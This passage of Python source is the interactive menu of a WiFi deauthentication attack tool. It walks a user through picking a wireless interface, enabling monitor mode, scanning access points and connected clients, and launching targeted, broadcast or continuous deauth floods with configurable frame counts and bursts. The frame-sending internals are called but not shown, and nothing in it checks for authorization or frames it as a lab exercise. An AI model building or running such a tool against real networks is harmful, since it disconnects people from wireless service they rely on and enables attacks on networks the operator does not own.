    deauth = get_deauth()

    # Show tool status
    tools = deauth.get_tools_status()
    available = [k for k, v in tools.items() if v]
    missing = [k for k, v in tools.items() if not v]
    deauth.print_status(f"Available tools: {', '.join(available) if available else 'none'}", "info")
    if missing:
        deauth.print_status(f"Missing tools: {', '.join(missing)}", "warning")
    print()

    selected_iface = None
    selected_bssid = None
    selected_client = None

    while True:
        print(f"\n{Colors.BOLD}{Colors.RED}=== Deauth Attack ==={Colors.RESET}")
        print(f"  Interface: {Colors.CYAN}{selected_iface or 'none'}{Colors.RESET}")
        print(f"  Target AP: {Colors.CYAN}{selected_bssid or 'none'}{Colors.RESET}")
        print(f"  Client:    {Colors.CYAN}{selected_client or 'broadcast'}{Colors.RESET}")
        if deauth.is_attacking():
            status = deauth.get_attack_status()
            print(f"  {Colors.RED}[ATTACKING]{Colors.RESET} "
                  f"{status['frames_sent']} frames / {status['duration']}s")
        print()
        print(f"  {Colors.GREEN}1{Colors.RESET} - Select Interface")
        print(f"  {Colors.GREEN}2{Colors.RESET} - Scan Networks")
        print(f"  {Colors.GREEN}3{Colors.RESET} - Scan Clients")
        print(f"  {Colors.GREEN}4{Colors.RESET} - Targeted Deauth")
        print(f"  {Colors.GREEN}5{Colors.RESET} - Broadcast Deauth")
        print(f"  {Colors.GREEN}6{Colors.RESET} - Continuous Mode")
        print(f"  {Colors.GREEN}7{Colors.RESET} - Stop Attack")
        print(f"  {Colors.GREEN}8{Colors.RESET} - Set Channel")
        print(f"  {Colors.GREEN}0{Colors.RESET} - Back")
        print()

        choice = input(f"{Colors.BOLD}Choice > {Colors.RESET}").strip()

        if choice == '0':
            if deauth.is_attacking():
                deauth.stop_continuous()
                deauth.print_status("Stopped continuous attack", "warning")
            break

        elif choice == '1':
            ifaces = deauth.get_interfaces()
            if not ifaces:
                deauth.print_status("No wireless interfaces found", "error")
                continue
            print(f"\n{'#':<4} {'Interface':<15} {'Mode':<12} {'Channel':<8} {'MAC'}")
            for i, ifc in enumerate(ifaces):
                print(f"{i+1:<4} {ifc['name']:<15} {ifc['mode']:<12} "
                      f"{ifc['channel']:<8} {ifc['mac']}")
            sel = input(f"\nSelect interface (1-{len(ifaces)}): ").strip()
            try:
                idx = int(sel) - 1
                if 0 <= idx < len(ifaces):
                    selected_iface = ifaces[idx]['name']
                    deauth.print_status(f"Selected: {selected_iface}", "success")
                    if ifaces[idx]['mode'] != 'monitor':
                        en = input("Enable monitor mode? (y/n): ").strip().lower()
                        if en == 'y':
                            r = deauth.enable_monitor(selected_iface)
                            if r['ok']:
                                selected_iface = r['interface']
                                deauth.print_status(r['message'], "success")
                            else:
                                deauth.print_status(r['error'], "error")
            except ValueError:
                pass

        elif choice == '2':
            if not selected_iface:
                deauth.print_status("Select an interface first", "warning")
                continue
            dur = input("Scan duration (seconds) [10]: ").strip()
            dur = int(dur) if dur.isdigit() else 10
            deauth.print_status(f"Scanning for {dur}s on {selected_iface}...", "info")
            nets = deauth.scan_networks(selected_iface, dur)
            if not nets:
                deauth.print_status("No networks found", "warning")
                continue
            print(f"\n{'#':<4} {'BSSID':<20} {'SSID':<25} {'CH':<5} "
                  f"{'Enc':<12} {'Sig':<6} {'Clients'}")
            for i, n in enumerate(nets):
                print(f"{i+1:<4} {n['bssid']:<20} {n['ssid']:<25} "
                      f"{n['channel']:<5} {n['encryption']:<12} "
                      f"{n['signal']:<6} {n['clients_count']}")
            sel = input(f"\nSelect target AP (1-{len(nets)}, Enter to skip): ").strip()
            try:
                idx = int(sel) - 1
                if 0 <= idx < len(nets):
                    selected_bssid = nets[idx]['bssid']
                    deauth.print_status(
                        f"Target: {nets[idx]['ssid']} ({selected_bssid})", "success"
                    )
            except ValueError:
                pass

        elif choice == '3':
            if not selected_iface:
                deauth.print_status("Select an interface first", "warning")
                continue
            dur = input("Scan duration (seconds) [10]: ").strip()
            dur = int(dur) if dur.isdigit() else 10
            deauth.print_status(
                f"Scanning clients{' on ' + selected_bssid if selected_bssid else ''}...",
                "info"
            )
            clients = deauth.scan_clients(selected_iface, selected_bssid, dur)
            if not clients:
                deauth.print_status("No clients found", "warning")
                continue
            print(f"\n{'#':<4} {'Client MAC':<20} {'AP BSSID':<20} "
                  f"{'Signal':<8} {'Packets'}")
            for i, c in enumerate(clients):
                print(f"{i+1:<4} {c['client_mac']:<20} {c['ap_bssid']:<20} "
                      f"{c['signal']:<8} {c['packets']}")
            sel = input(f"\nSelect client (1-{len(clients)}, Enter for broadcast): ").strip()
            try:
                idx = int(sel) - 1
                if 0 <= idx < len(clients):
                    selected_client = clients[idx]['client_mac']
                    if not selected_bssid:
                        selected_bssid = clients[idx]['ap_bssid']
                    deauth.print_status(f"Client: {selected_client}", "success")
            except ValueError:
                selected_client = None

        elif choice == '4':
            if not selected_iface or not selected_bssid:
                deauth.print_status("Select interface and target AP first", "warning")
                continue
            client = selected_client or input("Client MAC (Enter for broadcast): ").strip()
            if not client:
                client = BROADCAST
            cnt = input("Frame count [10]: ").strip()
            cnt = int(cnt) if cnt.isdigit() else 10
            deauth.print_status(f"Sending {cnt} deauth frames...", "info")
            r = deauth.deauth_targeted(selected_iface, selected_bssid, client, cnt)
            if r['ok']:
                deauth.print_status(
                    f"Sent {r['frames_sent']} frames in {r['duration']}s", "success"
                )
            else:
                deauth.print_status(r['error'], "error")

        elif choice == '5':
            if not selected_iface or not selected_bssid:
                deauth.print_status("Select interface and target AP first", "warning")
                continue
            cnt = input("Frame count [10]: ").strip()
            cnt = int(cnt) if cnt.isdigit() else 10
            deauth.print_status(f"Broadcasting {cnt} deauth frames...", "info")
            r = deauth.deauth_broadcast(selected_iface, selected_bssid, cnt)
            if r['ok']:
                deauth.print_status(
                    f"Sent {r['frames_sent']} frames in {r['duration']}s", "success"
                )
            else:
                deauth.print_status(r['error'], "error")

        elif choice == '6':
            if not selected_iface or not selected_bssid:
                deauth.print_status("Select interface and target AP first", "warning")
                continue
            client = selected_client or BROADCAST
            intv = input("Interval between bursts (seconds) [0.5]: ").strip()
            intv = float(intv) if intv else 0.5
            bst = input("Burst size [5]: ").strip()
            bst = int(bst) if bst.isdigit() else 5
            r = deauth.start_continuous(
                selected_iface, selected_bssid, client, intv, bst
            )
            if r['ok']:
                deauth.print_status(r['message'], "success")
            else:
                deauth.print_status(r['error'], "error")

        elif choice == '7':
            r = deauth.stop_continuous()
            if r['ok']:
                deauth.print_status(
                    f"Stopped. {r['frames_sent']} frames in {r['duration']}s",
                    "success"
                )
            else:
                deauth.print_status(r.get('error', 'No attack running'), "warning")

        elif choice == '8':
            if not selected_iface:
                deauth.print_status("Select an interface first", "warning")
                continue
            ch = input("Channel (1-196): ").strip()
            try:
                ch = int(ch)
                r = deauth.set_channel(selected_iface, ch)
                if r['ok']:
                    deauth.print_status(r['message'], "success")
                else:
                    deauth.print_status(r['error'], "error")
            except ValueError:
                deauth.print_status("Invalid channel number", "error")

        else:
            deauth.print_status("Invalid choice", "warning")